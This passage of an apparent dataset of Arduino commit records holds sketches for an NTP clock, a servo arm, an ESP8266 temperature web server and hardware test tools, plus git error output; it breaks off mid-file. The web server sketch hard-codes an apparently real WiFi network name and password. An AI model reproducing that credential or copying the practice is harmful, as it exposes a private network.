start by connecting to a WiFi network\n Serial.print(\"Connecting to \");\n Serial.print(ssid);\n WiFi.begin(ssid, pass);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\" Done.\");\n \n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n \n Serial.print(\"Starting NTP client... \");\n NTP.begin(\"pool.ntp.org\", 4, true);\n NTP.setInterval(60);\n delay(1000);\n Serial.println(\"Done. \");\n\n lc1.shutdown(0,false);\n \/\/lc1.setIntensity(0, 15);\n}\n\n\/\/\nvoid loop()\n{\n timeDisplay = NTP.getTimeStr();\n char minDig2 = timeDisplay.charAt(4);\n lc1.setChar(0, 0, minDig2, true);\n char secDig1 = timeDisplay.charAt(6);\n lc1.setChar(0, 1, secDig1, false);\n char secDig2 = timeDisplay.charAt(7);\n lc1.setChar(0, 2, secDig2, false);\n \n Serial.println(NTP.getTimeStr());\n delay(1000); \/\/ REMOVE DELAY FOR A COUNTER...................................................\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'NTPClient\/NTPClient.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"ae1bba6fd7bd69a02d948dde6d105bd77e75afee","subject":"Sketch Cycle Leds","message":"Sketch Cycle Leds\n","repos":"otojunior\/sketchbook","old_file":"cycleleds\/cycleleds.ino","new_file":"cycleleds\/cycleleds.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/otojunior\/sketchbook.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"48004c4839a421c7c61142be7cf4d1ffe077e0b4","subject":"Adding pwm logs for debugging","message":"Adding pwm logs for debugging\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/pwm_detector_test\/pwm_detector_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7b6249e04561007c7bfe1c02022e095d90fbc86f","subject":"Added initial ino file","message":"Added initial ino file\n","repos":"OsamaYousry\/ZUArm","old_file":"ZUArm.ino","new_file":"ZUArm.ino","new_contents":"\/\/Servo.h is the library required to directly deal with servo motors\n#include <Servo.h>\n\n\/* Pinout is as follows, Arm from base to tool-tip\ntheta0 => 9\ntheta2 => 11\ntheta2 Second Motor is connected to same pin => 11\ntheta3 => 3\ntheta4 => 5\n*\/\nint theta1Pin = 9;\nint theta2Pin = 11;\nint theta3Pin = 3;\nint theta5Pin = 5;\nint openGrip;\n\n\/\/We define a servo instance for each motor\nServo theta1Servo;\nServo theta2Servo;\nServo theta3Servo;\nServo theta4Servo;\n\nvoid setup() {\n \/\/Initialize Serial Com\n Serial.begin(9600);\n \/\/Attach each instance with the corresponding pin\n theta1Servo.attach(theta1Pin);\n theta2Servo.attach(theta2Pin);\n theta3Servo.attach(theta3Pin);\n theta4Servo.attach(theta4Pin);\n}\n\/\/Variables that will be sent by user\nint theta1,theta2,theta3,theta4;\nvoid loop() {\n \/\/When the serial buffer contains the data we parse the data to send to the\n \/\/motors, data is sent as follows xx yy zz w\n \/\/Where xx is theta1 and yy is theta2 and zz is theta3 and w is the grip condition\n if (Serial.available()) {\n theta1 = Serial.readStringUntil(' ').toInt();\n theta2 = Serial.readStringUntil(' ').toInt();\n theta3 = Serial.readStringUntil(' ').toInt();\n \/\/This was to fix a bug from matlab\n while (!Serial.available());\n openGrip = Serial.parseInt();\n }\n \/\/We send the angles to the motors\n theta1Servo.write(theta1);\n theta2Servo.write(theta2);\n theta3Servo.write(theta3);\n \/\/When the arm reaches its final destiantion we change the grip mode\n if (theta1Servo.read() == theta1 && theta2Servo.read() == theta2 && theta3Servo.read() == theta3) {\n if (openGrip == 1) {theta4Servo.write(180); }\n else { theta4Servo.write(0); }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ZUArm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"12cbdbc604f2e55cd7d8f5e19d1f8d75241fc880","subject":"arduino and android updates","message":"arduino and android updates\n","repos":"MacgyverPT\/Arduino-RC_Car","old_file":"Data\/ArduinoSketch\/ArduinoSketch.ino","new_file":"Data\/ArduinoSketch\/ArduinoSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/MacgyverPT\/Arduino-RC_Car.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"bdf841828f67321272fbab9348f76935dc7bc802","subject":"Update PhotonCode.ino","message":"Update PhotonCode.ino\n\nread is a reserved variable name now","repos":"d008\/MAE224,d008\/MAE224,d008\/MAE224,d008\/MAE224","old_file":"Source Files\/Particle\/PhotonCode.ino","new_file":"Source Files\/Particle\/PhotonCode.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Source' did not match any file(s) known to git\nerror: pathspec 'Files\/Particle\/PhotonCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9141f9632b5c2be3d850f790d181afb424f31335","subject":"_05_kidSerie_sketch_01.DHTServer.ino 05#kidSerie","message":"_05_kidSerie_sketch_01.DHTServer.ino 05#kidSerie\n\n_05_kidSerie_sketch_01.DHTServer.ino 05#kidSerie","repos":"giljr\/kidSeries,giljr\/kidSeries,giljr\/kidSeries","old_file":"_05_kidSerie_sketch_01.DHTServer.ino","new_file":"_05_kidSerie_sketch_01.DHTServer.ino","new_contents":"\/*\n Project name:\n 05 #kidSerie - Adafruit-IO Meets ESP8266, Arduino & MIT App Inventor 2\n (Awesome Smart Phone App!)\n Flavour V -\n Hex File: _05_kidSerie_sketch_01.DHTServer.ino\n Revision History:\n 20161029:\n - from github adafruit\/Adafruit_MQTT_Library\n https:\/\/github.com\/adafruit\/Adafruit_MQTT_Library\/blob\/master\/examples\/mqtt_esp8266\/mqtt_esp8266.ino\n https:\/\/learn.adafruit.com\/mqtt-adafruit-io-and-you\/intro-to-adafruit-mqtt\n\n Description:\n Code sequence to get the final flavor V. Follow, please!\n Simple code to intro Adafruit-io technology using MQTT broker, ESP8266, DHTXX sensor & arduino.\n We will publish two topics: temp and humidity and subscribe them also.\n We will access the our dashboard by phone using MIT App Inventor 2.\n Awesome project!!!\n\n MCU: Arduino 1.6.12 - @16MHz http:\/\/www.arduino.cc\/\n ESP8266: ESP-01 https:\/\/goo.gl\/E0Eq4l\n DHT11: PRODUCT ID: 386 https:\/\/www.adafruit.com\/product\/386\n\n Connections:\n See Official youtube channel vids:\n Based on: Tony DiCola for Adafruit Industries - see below!\n\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License v3 as published by\n the Free Software Foundation\n*\/\n\/* DHTServer - ESP8266 Webserver with a DHT sensor as an input\n\n Based on ESP8266Webserver, DHTexample, and BlinkWithoutDelay (thank you)\n\n Version 1.0 5\/3\/2014 Version 1.0 Mike Barela for Adafruit Industries\n*\/\n\/******************************* Esp8266**************************************\/\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n\/******************************* DHT Config **********************************\/\n#include <DHT.h>\n#define DHTTYPE DHT11\n#define DHTPIN 2\n\n\/************************* WiFi Access Point *********************************\/\n\nconst char* ssid = \"colibri\"; \/\/\"YourRouterID\";\nconst char* password = \"jr10589238\"; \/\/\"YourRouterPassword\";\n\nESP8266WebServer server(80);\n\n\/*************************** DHT Init **************************************\/\n\/\/ Initialize DHT sensor\n\/\/ NOTE: For working with a faster than ATmega328p 16 MHz Arduino chip, like an ESP8266,\n\/\/ you need to increase the threshold for cycle counts considered a 1 or 0.\n\/\/ You can do this by passing a 3rd parameter for this threshold. It's a bit\n\/\/ of fiddling to find the right value, but in general the faster the CPU the\n\/\/ higher the value. The default for a 16mhz AVR is a value of 6. For an\n\/\/ Arduino Due that runs at 84mhz a value of 30 works.\n\/\/ This is for the ESP8266 processor on ESP-01\nDHT dht(DHTPIN, DHTTYPE, 15); \/\/ 15 works fine for ESP8266\n\/*************************** DHT Data **************************************\/\n\/\/float humidity, temp_f; \/\/ Values read from sensor F\u00ba\nfloat humidity, temp_c; \/\/ Values read from sensor as Celsius\nString webString = \"\"; \/\/ String to display\n\/*************************** DHT Timing ************************************\/\n\/\/ Generally, you should use \"unsigned long\" for variables that hold time\nunsigned long previousMillis = 0; \/\/ will store last temp was read\nconst long interval = 2000; \/\/ interval at which to read sensor\n\nvoid handle_root() {\n server.send(200, \"text\/plain\", \"Hello from the weather esp8266, read from \/temp or \/humidity\");\n delay(100);\n}\n\n\/****************************** Setup ***************************************\/\nvoid setup(void)\n{\n \/\/ You can open the Arduino IDE Serial Monitor window to see what the code is doing\n Serial.begin(115200); \/\/ Serial connection from ESP-01 via 3.3v console cable\n dht.begin(); \/\/ initialize temperature sensor\n\n \/\/ Connect to WiFi network\n WiFi.begin(ssid, password);\n Serial.print(\"\\n\\r \\n\\rWorking to connect\");\n\n \/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"DHT Weather Reading Server\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n server.on(\"\/\", handle_root);\n\n server.on(\"\/temp\", []() { \/\/ if you add this subdirectory to your webserver call, you get text below :)\n gettemperature(); \/\/ read sensor\n \/\/webString=\"Temperature: \"+String((int)temp_f)+\" F\"; \/\/ Arduino has a hard time with float to string\n webString = \"Temperature: \" + String((int)temp_c) + \" C\"; \/\/ Arduino has a hard time with float to string\n server.send(200, \"text\/plain\", webString); \/\/ send to someones browser when asked\n });\n\n server.on(\"\/humidity\", []() { \/\/ if you add this subdirectory to your webserver call, you get text below :)\n gettemperature(); \/\/ read sensor\n webString = \"Humidity: \" + String((int)humidity) + \"%\";\n server.send(200, \"text\/plain\", webString); \/\/ send to someones browser when asked\n });\n\n server.begin();\n Serial.println(\"HTTP server started\");\n}\n\n\/****************************** Loop ***************************************\/\nvoid loop(void)\n{\n server.handleClient();\n}\n\n\/****************************** Get Data From DHTxx ************************\/\nvoid gettemperature() {\n \/\/ Wait at least 2 seconds seconds between measurements.\n \/\/ if the difference between the current time and last time you read\n \/\/ the sensor is bigger than the interval you set, read the sensor\n \/\/ Works better than delay for things happening elsewhere also\n unsigned long currentMillis = millis();\n\n if (currentMillis - previousMillis >= interval) {\n \/\/ save the last time you read the sensor\n previousMillis = currentMillis;\n\n \/\/ Reading temperature for humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to 2 seconds 'old' (it's a very slow sensor)\n humidity = dht.readHumidity(); \/\/ Read humidity (percent)\n \/\/temp_f = dht.readTemperature(true); \/\/ Read temperature as Fahrenheit\n temp_c = dht.readTemperature(); \/\/ Read temperature as Celsius\n \/\/ Check if any reads failed and exit early (to try again).\n \/\/if (isnan(humidity) || isnan(temp_f)) {\n if (isnan(humidity) || isnan(temp_c)) {\n Serial.println(\"Failed to read from DHT sensor!\");\n return;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_05_kidSerie_sketch_01.DHTServer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b0c32c59f580e40643764dc29349dc41508f88f4","subject":"Add test function.","message":"Add test function.\n","repos":"logickworkshop\/du-ino,logickworkshop\/du-ino","old_file":"examples\/test\/test.ino","new_file":"examples\/test\/test.ino","new_contents":"\/*\n * #### ####\n * #### ####\n * #### #### ##\n * #### #### ####\n * #### ############ ############ #### ########## #### ####\n * #### #### #### #### #### #### #### ########\n * #### #### #### #### #### #### #### ########\n * #### #### #### #### #### #### #### #### ####\n * #### #### #### #### #### #### #### #### ####\n * #### ############ ############ #### ########## #### ####\n * #### ####\n * ################################ ####\n * __ __ __ __ __ ####\n * | | | | [__) |_\/ (__ |__| | | [__) ####\n * |\/\\| |__| | \\ | \\ .__) | | |__| | ##\n *\n *\n * DU-INO Test Function\n * Aaron Mavrinac <aaron@logick.ca>\n *\/\n\n#include <du-ino_function.h>\n#include <du-ino_interface.h>\n\nvolatile bool gt3_state, gt3_retrigger, gt4_state, gt4_retrigger;\nint8_t calibration_value;\nbool gt, gt_io;\nfloat cv[4];\n\nvoid gt3_isr();\nvoid gt4_isr();\n\nclass DU_Test_Function : public DUINO_Function {\n public:\n DU_Test_Function() : DUINO_Function(0b000001111) { }\n \n virtual void setup()\n {\n gt3_state = gt3_retrigger = false;\n gt4_state = gt4_retrigger = false;\n gt_attach_interrupt(GT3, gt3_isr, CHANGE);\n gt_attach_interrupt(GT4, gt4_isr, CHANGE);\n\n gt_io_last = gt_io;\n }\n\n virtual void loop()\n {\n cv[0] = cv_read(CI1);\n cv[1] = cv_read(CI2);\n cv[2] = cv_read(CI3);\n cv[3] = cv_read(CI4);\n\n cv_out(CO1, float(calibration_value));\n cv_out(CO2, float(calibration_value));\n cv_out(CO3, float(calibration_value));\n cv_out(CO4, float(calibration_value));\n\n if(gt_io != gt_io_last)\n {\n gt_io_last = gt_io;\n set_switch_config(gt_io ? 0b0000110000 : 0b0000001111);\n }\n\n gt_out(GT_ALL, gt);\n }\n\n private:\n bool gt_io_last;\n};\n\nclass DU_Test_Interface : public DUINO_Interface {\n public:\n virtual void setup()\n {\n display_changed = false;\n last_calibration_value = 0;\n\n display->draw_logick_logo(0, 0, DUINO_SSD1306::White);\n display->draw_text(42, 3, \"DU-INO TESTER\", DUINO_SSD1306::White);\n\n \/\/ draw voltage values\n display->draw_text(0, 17, \"+10V\", DUINO_SSD1306::White);\n display->draw_text(12, 37, \"0V\", DUINO_SSD1306::White);\n display->draw_text(0, 57, \"-10V\", DUINO_SSD1306::White);\n\n \/\/ draw markers\n display->draw_hline(26, 20, 10, DUINO_SSD1306::White);\n display->draw_hline(26, 40, 10, DUINO_SSD1306::White);\n display->draw_hline(26, 60, 10, DUINO_SSD1306::White);\n for(uint8_t i = 0; i < 9; ++i)\n {\n display->draw_hline(30, 22 + 2 * i, 6, DUINO_SSD1306::White);\n display->draw_hline(30, 42 + 2 * i, 6, DUINO_SSD1306::White);\n }\n\n \/\/ draw arrow\n display_calibration_arrow();\n\n \/\/ draw CV section\n display->draw_text(48, 17, \"CV IN\", DUINO_SSD1306::White);\n display->draw_hline(48, 25, 35, DUINO_SSD1306::White);\n\n \/\/ draw GT section\n display->draw_text(96, 17, \"GT\", DUINO_SSD1306::White);\n display_gtio_arrow();\n display->draw_hline(96, 25, 24, DUINO_SSD1306::White);\n for(uint8_t i = 0; i < 4; ++i)\n {\n display->draw_char(96, 27 + 10 * i, 0x31 + i, DUINO_SSD1306::White);\n }\n display->draw_char(112, 47, '5', DUINO_SSD1306::White);\n display->draw_char(112, 57, '6', DUINO_SSD1306::White);\n\n display->display();\n }\n\n virtual void loop()\n {\n \/\/ handle encoder button press\n DUINO_Encoder::Button b = encoder->get_button();\n if(b == DUINO_Encoder::DoubleClicked)\n {\n gt_io = !gt_io;\n display_gtio_arrow();\n }\n else if(b == DUINO_Encoder::Held)\n {\n \/\/ TODO: digital output control\n }\n\n \/\/ handle encoder spin\n calibration_value += encoder->get_value();\n if(calibration_value > 10)\n {\n calibration_value = 10;\n }\n if(calibration_value < -10)\n {\n calibration_value = -10;\n }\n if(calibration_value != last_calibration_value)\n {\n last_calibration_value = calibration_value;\n display_calibration_arrow();\n }\n\n \/\/ display CV input values\n display_cv_in();\n\n \/\/ update display\n display->display();\n }\n\n private:\n void display_calibration_arrow()\n {\n display->fill_rect(37, 17, 5, 47, DUINO_SSD1306::Black);\n display->draw_char(37, 37 - 2 * calibration_value, 0x11, DUINO_SSD1306::White);\n }\n\n void display_gtio_arrow()\n {\n display->fill_rect(114, 17, 5, 7, DUINO_SSD1306::Black);\n display->draw_char(114, 17, 0x11 - (unsigned char)gt_io, DUINO_SSD1306::White);\n }\n\n void display_cv_in()\n {\n display->fill_rect(48, 27, 35, 37, DUINO_SSD1306::Black);\n for(uint8_t i = 0; i < 4; ++i)\n {\n char value[7];\n dtostrf(cv[i], 6, 2, value);\n display->draw_text(48, 27 + 10 * i, value, DUINO_SSD1306::White);\n }\n }\n\n bool display_changed;\n int8_t last_calibration_value;\n};\n\nDU_Test_Function * function;\nDU_Test_Interface * interface;\n\nENCODER_ISR(interface->encoder);\n\nvoid gt3_isr()\n{\n gt3_state = function->gt_read(GT3);\n if(gt3_state)\n gt3_retrigger = true;\n}\n\nvoid gt4_isr()\n{\n gt4_state = function->gt_read(GT4);\n if(gt4_state)\n gt4_retrigger = true;\n}\n\nvoid setup()\n{\n function = new DU_Test_Function();\n interface = new DU_Test_Interface();\n\n calibration_value = 0;\n gt = false;\n gt_io = false;\n\n function->begin();\n interface->begin();\n}\n\nvoid loop()\n{\n function->loop();\n interface->loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/test\/test.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"479eb39d1b8bb24e6c2e846e6c79bf593a181464","subject":"Initial commit","message":"Initial commit\n","repos":"codewithpassion\/openrov-software,BrianAdams\/openrov-software,ChangerR\/burrito-cockpid,BrianAdams\/openrov-software,BrianAdams\/openrov-software,ChangerR\/burrito-cockpid,MysteriousChanger\/burrito-cockpid,LeeCheongAh\/openrov-software,LeeCheongAh\/openrov-software,ZonaElka\/testOpenROV,BrianAdams\/openrov-software,codewithpassion\/openrov-software,ChangerR\/burrito-cockpid,codewithpassion\/openrov-software,ZonaElka\/testOpenROV,MysteriousChanger\/burrito-cockpid,ZonaElka\/testOpenROV,MysteriousChanger\/burrito-cockpid,codewithpassion\/openrov-software","old_file":"arduino\/ArduinoUSBLinker\/ArduinoUSBLinker.ino","new_file":"arduino\/ArduinoUSBLinker\/ArduinoUSBLinker.ino","new_contents":"\/*\nCopyright (C) 2012-2013 Chris Osgood <chris at luadev.com>\n\nThis program is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU General Public License\nversion 2 as published by the Free Software Foundation. No\nother versions are acceptable.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n02110-1301, USA.\n*\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Check for MultiWii\n#if defined(MSP_VERSION)\n #define MULTIWII\n#else\n #include <EEPROM.h>\n#endif\n\n#define AUL_SERIALRATE 19200\n\n#define AUL_MIN_BITTIME 4\n#define AUL_MAX_BITTIME 136\n#define AUL_DEFAULT_BITTIME 32\n\n#define AUL_MICROS_TO_TICKS(x) ((x) * (F_CPU \/ 1000000) \/ g_timerScale)\n#define AUL_MICROS_TO_TICKS_R(x) ((x) * g_timerScale \/ (F_CPU \/ 1000000))\n\n#if defined(__AVR_ATmega8__)\n#define AUL_SET_TIMER_MODE TCCR2 = g_timerConfig\n#else\n#define AUL_SET_TIMER_MODE TCCR2B = g_timerConfig\n#endif\n\n\/\/ Default PD2\/INT0\n#define AUL_DEFAULT_PIN 18\n\n#define AUL_BUFSIZE 300\n\n#define AUL_SERIALTIMEOUT ((F_CPU >> 7) \/ (9600 >> 4))\n\n#define AUL_PININPUT ((*g_signalDDR) &= ~(g_signalPinPortNum))\n#define AUL_PINOUTPUT ((*g_signalDDR) |= (g_signalPinPortNum))\n#define AUL_PINHIGH ((*g_signalPORT) |= (g_signalPinPortNum))\n#define AUL_PINLOW ((*g_signalPORT) &= ~(g_signalPinPortNum))\n\n#define AUL_PINREAD ((*g_signalPIN) & (g_signalPinPortNum))\n\n#define AUL_DELAYTICKS(x) \\\n TCNT2 = 0; \\\n while (TCNT2 < (x));\n\n#if defined(__AVR_ATmega8__)\n#define AUL_SYNC_PRESCALER \\\n SFIOR = (1 << PSR2); \\\n while (SFIOR & (1 << PSR2));\n#else\n#define AUL_SYNC_PRESCALER \\\n GTCCR = (1 << PSRASY); \\\n while (GTCCR & (1 << PSRASY));\n#endif\n\n\/\/ Save space on MultWii since baud rate changes are not supported and it is the\n\/\/ only thing that requires a value greater than uint8\n#if defined(MULTIWII)\n #define AUL_ASCII_INT_TYPE uint8_t\n#else\n #define AUL_ASCII_INT_TYPE uint32_t\n#endif\n\n#define AUL_EEPROM_PIN 4\n#define AUL_EEPROM_BITTIME 5\n#define AUL_EEPROM_BAUD 6\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Globals\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic uint8_t g_timerConfig;\nstatic uint16_t g_timerScale;\n\n\/\/ Approximate microseconds for each bit when sending\nstatic uint8_t g_bitTimeSend;\nstatic uint8_t g_bitTimeSendHalf;\n\n\/\/ Calculated leader timing for receive\nstatic uint8_t g_bitTime, g_shortBitTime;\n\nstatic volatile uint8_t* g_signalDDR;\nstatic volatile uint8_t* g_signalPORT;\nstatic volatile uint8_t* g_signalPIN;\nstatic int8_t g_signalPinPortNum, g_signalPinNum;\n\n#if defined(MULTIWII)\nstatic uint32_t g_baudRate = 0;\n#else\nstatic uint32_t g_baudRate = AUL_SERIALRATE;\n#endif\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ stdlib type utility functions (mostly to save space)\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ int to ASCII base 10\n\/\/ Returns the address of the null terminator\nstatic char* AUL_itoa(AUL_ASCII_INT_TYPE n, char *b)\n{\n uint8_t i = 0, s;\n \n do {\n s = n % 10;\n n = n \/ 10;\n b[i++] = '0' + s;\n } while (n > 0);\n\n b[i] = '\\0';\n \n strrev(b);\n \n return &b[i];\n}\n\n\/\/ ASCII to int base 10\nstatic AUL_ASCII_INT_TYPE AUL_atoi(const char* s)\n{\n AUL_ASCII_INT_TYPE b = 0;\n while (*s) b = (b << 3) + (b << 1) + (*s++ - '0');\n return(b);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Serial port. MultiWii helpers.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#if !defined(MULTIWII)\n\n#define AUL_SerialInit(x) Serial.begin(g_baudRate)\n#define AUL_SerialAvailable() Serial.available()\n#define AUL_SerialRead() Serial.read()\n#define AUL_SerialWrite(x) Serial.write(x)\n#define AUL_SerialWriteBuf(x,y) Serial.write(x,y)\n#define AUL_SerialWriteStr(x) Serial.write((const char*)x)\n\n#else \/\/ MULTIWII\n\nstatic volatile uint8_t* g_serialUCSRA;\nstatic volatile uint8_t* g_serialUDR;\nstatic uint8_t g_serialRXC, g_serialUDRE;\n\nstatic void AUL_SerialInit(uint8_t port)\n{\n #define AUL_INIT_PORT(x) \\\n UCSR##x##C = (1 << UCSZ##x##1) | (1 << UCSZ##x##0); \\\n UCSR##x##B = (1 << RXEN##x) | (1 << TXEN##x); \\\n g_serialUCSRA = &UCSR##x##A; \\\n g_serialUDR = &UDR##x; \\\n g_serialRXC = (1 << RXC##x); \\\n g_serialUDRE = (1 << UDRE##x);\n \n switch (port)\n {\n case 0:\n AUL_INIT_PORT(0)\n break;\n #if defined(UBRR1H)\n case 1:\n AUL_INIT_PORT(1)\n break;\n #endif\n #if defined(UBRR2H)\n case 2:\n AUL_INIT_PORT(2)\n break;\n #endif\n #if defined(UBRR3H)\n case 3:\n AUL_INIT_PORT(3)\n break;\n #endif\n #if defined(UBRR4H)\n case 4:\n AUL_INIT_PORT(4)\n break;\n #endif\n default:\n break;\n }\n}\n\n#define AUL_SerialAvailable() \\\n ((*g_serialUCSRA) & g_serialRXC)\n\n#define AUL_SerialRead() \\\n (*g_serialUDR)\n\n#define AUL_SerialWrite(x) \\\n { while (!((*g_serialUCSRA) & g_serialUDRE)); (*g_serialUDR) = (x); }\n\nstatic void AUL_SerialWriteBuf(const uint8_t* b, int16_t len)\n{\n int16_t i;\n for (i = 0; i < len; i++)\n AUL_SerialWrite(b[i]);\n}\n\nstatic void AUL_SerialWriteStr(const char* b)\n{\n int16_t i;\n for (i = 0; b[i] != '\\0'; i++)\n AUL_SerialWrite(b[i]);\n}\n\n#endif \/\/ MULTIWII\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Signal pin\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Clear all timers and PWM settings\nstatic void DisableAllTimers()\n{\n #define AUL_RESET_PORT(x) \\\n TCCR##x##B = 0; \\\n TCCR##x##A = 0;\n\n \/\/ For mega8 and similar\n #if defined(TCCR0)\n TCCR0 = 0;\n #endif\n #if defined(TCCR1)\n TCCR1 = 0;\n #endif\n #if defined(TCCR2)\n TCCR2 = 0;\n #endif\n \n #if defined(TCCR0B)\n AUL_RESET_PORT(0)\n #endif\n #if defined(TCCR1B)\n AUL_RESET_PORT(1)\n #endif\n #if defined(TCCR2B)\n AUL_RESET_PORT(2)\n #endif\n #if defined(TCCR3B)\n AUL_RESET_PORT(3)\n #endif\n #if defined(TCCR4B)\n AUL_RESET_PORT(4)\n #endif\n #if defined(TCCR5B)\n AUL_RESET_PORT(5)\n #endif\n #if defined(TCCR6B)\n AUL_RESET_PORT(6)\n #endif\n}\n\nstatic void SignalPinStatus(char* buf)\n{\n #define AUL_WRITE_PORT_INFO(x) \\\n *pos++ = #x[0]; \\\n pos = AUL_itoa(pincnt, pos); \\\n *pos++ = ':'; \\\n pincnt += 8;\n\n char* pos = buf;\n int8_t pincnt = 0;\n\n pos[0] = 'P';\n pos[1] = 'I';\n pos[2] = 'N';\n pos[3] = 'S';\n pos[4] = ':';\n pos += 5;\n \n #if defined(PORTB)\n AUL_WRITE_PORT_INFO(B)\n #endif\n #if defined(PORTC)\n AUL_WRITE_PORT_INFO(C)\n #endif\n #if defined(PORTD)\n AUL_WRITE_PORT_INFO(D)\n #endif\n #if defined(PORTE)\n AUL_WRITE_PORT_INFO(E)\n #endif\n #if defined(PORTF)\n AUL_WRITE_PORT_INFO(F)\n #endif\n #if defined(PORTG)\n AUL_WRITE_PORT_INFO(G)\n #endif\n #if defined(PORTH)\n AUL_WRITE_PORT_INFO(H)\n #endif\n #if defined(PORTI)\n AUL_WRITE_PORT_INFO(I)\n #endif\n #if defined(PORTJ)\n AUL_WRITE_PORT_INFO(J)\n #endif\n #if defined(PORTK)\n AUL_WRITE_PORT_INFO(K)\n #endif\n #if defined(PORTL)\n AUL_WRITE_PORT_INFO(L)\n #endif\n \n #if defined(PORTA)\n AUL_WRITE_PORT_INFO(A)\n 